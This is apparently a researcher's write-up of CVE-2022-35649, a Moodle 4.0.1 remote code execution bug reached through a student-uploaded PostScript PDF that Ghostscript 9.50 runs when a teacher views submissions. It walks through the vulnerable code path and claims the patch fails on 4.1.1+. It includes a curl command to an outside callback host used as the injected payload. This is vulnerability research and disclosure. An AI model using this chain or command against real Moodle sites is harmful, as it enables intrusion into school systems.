[CVE-2022-35649] 1-Click RCE in Moodle v4.0.1

[CVE-2022-35649] 1-Click RCE in Moodle v4.0.1

I. Introduction:

Moodle is a free and open-source Course Management System (CMS), also known as a Learning Management System (LMS) or a Moodle Learning Environment (VLE). Written in PHP, it is currently used for blended learning, distance education, flipped classroom and other online learning projects in many Vietnamese and oversea schools, universities, workplaces and other sectors.

While finding 1days, 0days (one of the KPIs we must run in this year lmao),our team figured out that there had not been any public exploit for CVE-2022-35649 on Moodle v4.0.1 yet. Then we decide to make exploit, PoC and detailed analysis for this interesting CVE.

II. Installation and setup:

First we downloaded Moodle v4.0.1.

After many trials and errors, we realized that this bug can be perfectly reproduced on Ubuntu 20.04.5 LTS. All the thing we did next is following this step-by-step installation guide.

III. Findings and Analysis:

The report of National Vulnerability Database about CVE-2022-35649 told us that this vulnerability occurs due to improper input validation when parsing PostScript code in Moodle sites running GhostScript versions older than 9.50. Not at all, this report provided us with some useful references:

For me the patch is enough to continue digging deep into this CVE.

The above patch indicates that the bug is locating at /mod/assign/feedback/editpdf/classes/pdf.php in function ensure_pdf_file_compatible. More particularly, it is locating at line 680 in version 4.0.1.

I set a breakpoint at line 680 and started my debugging process. XDebug was still listening and we need to find what screen would execute the function ensure_pdf_file_compatible and 680th line of code.

Firstly I took a look at the directory structure in moodle, especially the base directory /mod/ (which is containing /mod/assign/feedback/editpdf/classes/pdf.php).

Sequentially, I continued browsing /mod/assign:

More information about this error:

I was already logging in this moodle site so only the above highlighted case happened: a required parameter call "id" was missing while we was browsing /moodle/mod/assign/. It was quite unfamiliar as we try browse a directory (/moodle/mod/assign/) instead of a php file (e.g. /moodle/mod/assign/hello.php), but the server still responded with a php file. What is this "mysterious" php file? Based on my experience in PHP Web Development, I guessed it was index.php.

Bingo! As you can see in line 5 and 8, index.php will decide how to render itself based on id parameter. Let's see how it would be when id is equal to 0, 1, 2.

These above responses of Moodle site told me that:

  • As we logged in as a teacher, /mod/assign is a module for teacher to create and manage assignments in a course.

  • There was no courses created by "teacher" as we just deployed this Moodle site and start from scratch.

  • id url parameter is used to index the course. The course with id=1 is created by default when we installed Moodle from scratch.

--> we need to create a course and add an assignment in it right now.

Go inside the created assignment and we came back the module /mod/assign:

Not only managing assignment but this screen also allow teacher to view all submissions of students for this assignment and grade them. But the debug process in the 680th line of /mod/assign/feedback/editpdf/classes/pdf.php had not been triggered at this time. We need to learn more about the source code, check the comments first to understand what pdf.php is doing.

Then the function containing the 680th line:

Next, the nearby line of code of the 680th:

Finally, I can conclude:

  • pdf.php contain functions to manipulate PDF files (might these functions be used to process PDF documents of assigment's submission uploaded by students?). (1)

  • ensure_pdf_file_compatible function is used to check if the source pdf file $tempsrc was compatible (PDF is version 1.4) and convert it into the compatible one $tempdst by ghostscript if it is incompatible. (2)

As for the conclusion (1), the questions is "Are there any relations between processing PDF files by ghostscript and viewing submissions?" (3). This document about a PDF submission plugin called Annotate PDF confirms the answer is yes. By default, Annotate PDF plugin is enabled with the path to ghostscript (pathtogs variable in 677th line of pdf.php) is /usr/bin/gs.

Unfortunately, the path /usr/bin/gs is also the default location of ghostscript 9.50 in Ubuntu 20.04.5 LTS (ghostscript 9.50 is installed by default in Ubuntu 20.04.5 LTS too). It means CVE-2022-35649 is taking advantage of an old vulnerability of ghostscript 9.50 to perform RCE in Moodle. We googled for a while with the search contents "ghostscript 9.50 ubuntu 20.04.05 postscript RCE poc" and see a limited number of useful results:

RCE 0-day for GhostScript 9.50 - Payload generator from @ducnt_ is really amazing but modify it a little bit as this payload generator is used to exploit ImageMagick (ghostscript 9.50 is a component of ImageMagick). Baidu is better than Google in this case by the way:

The second search result is the most reliable one, as it is a detailed analysis from Tencent Security Emergency Response Center about this 0-day, nowadays known as CVE-2021-3781, including analysis and exploit code for GhostScript 9.50 standalone.

I do not wanna repeating what TSRC have explained about CVE-2021-3781. As Ghostscript is a PostScript interpreter, how we run postscript by ghostscript would somehow look like how we run a .py file by python interpreter. All we need to do is replace sleep 1000 with our another command, e.g. curl https://eof0r02wv3ras6p.m.pipedream.net?gs=ghotscript.

Successfully reproducing CVE-2021-3781 of Ghostscript 9.50, we learned how to apply it in CVE-2022-35649 after that by continuing debug process. Back to question (3), "viewing submissions" function of teacher seems to be the root cause of triggering RCE in Ghostscript 9.50 like what we saw in my reproduction of CVE-2021-3781. Before teacher can view submission of a student, students need to submit it first, so I logged in Moodle site once again as a student, then tried to submit a pdf file containig Postscript as we have seen in the above picture.

Back to assignment screen of teacher, click "View all submissions" button.

Finally our Moodle site reached the breakpoint we hadset at line 680. I press F10 to view how $command variable looked like before it was exexcuted.

Value of $command variable is quite long with some unimportant ghostscript's command options, I can write it briefly like this:

gs -sDEVICE=pdfwrite -sOutputFile='/tmp/.../target.pdf' '/tmp/.../source.pdf'

You can learn what -sDEVICE and -sOutputFile command options of ghostscript here. Basically, the above command is used to convert source.pdf (from a defined 'abc' type) to target.pdf (to a defined 'xyz' file). Both source.pdf and target.pdf are saved into /tmp directory, meaning that they are temporary files and will be deleted after finish the function ensure_pdf_file_compatible (as we mentioned in conclusion (2)). In order to saving a bunch of time reading code, I came up with an idea of check whether content source.pdf was the same as exploit.pdf I had uploaded a few minute ago.

Bingo! So we can confirm that when exploit.pdf was upload into Moodle server, its content was copied into a temporary file named source.pdf. Pressing F10 one more time to execute line 681 and we performed RCE successfully.

IV. Exploit:

Section "Findings and Analysis" has already told us the exploit idea, so I will not repeat it. To make our exploit more convenient, I have write a CVE-2022-35649 payload generator, inspired by RCE-0-day-for-GhostScript-9.50 from ducnt.

V. Patching MDL-75044 and Still Vulnarable?

To be honest, the patch for CVE-2022-35649 is a joke :D. In MDL-75044 commit, they only add -dSAFER command option into the ghotscript command at line 680 and it is so useless to prevent CVE-2021-3781 in Ghostscript 9.50.

I tried to reproduce CVE-2022-35649 in the latest version of Moodle (Version 4.1.1+) and the exploit was still successful.

VI. Temporary Mitigation:

CVE-2022-35649 only happened in Moodle using Ghostscript 9.50, so developers must update to the latest version Ghostscript (10.0.0).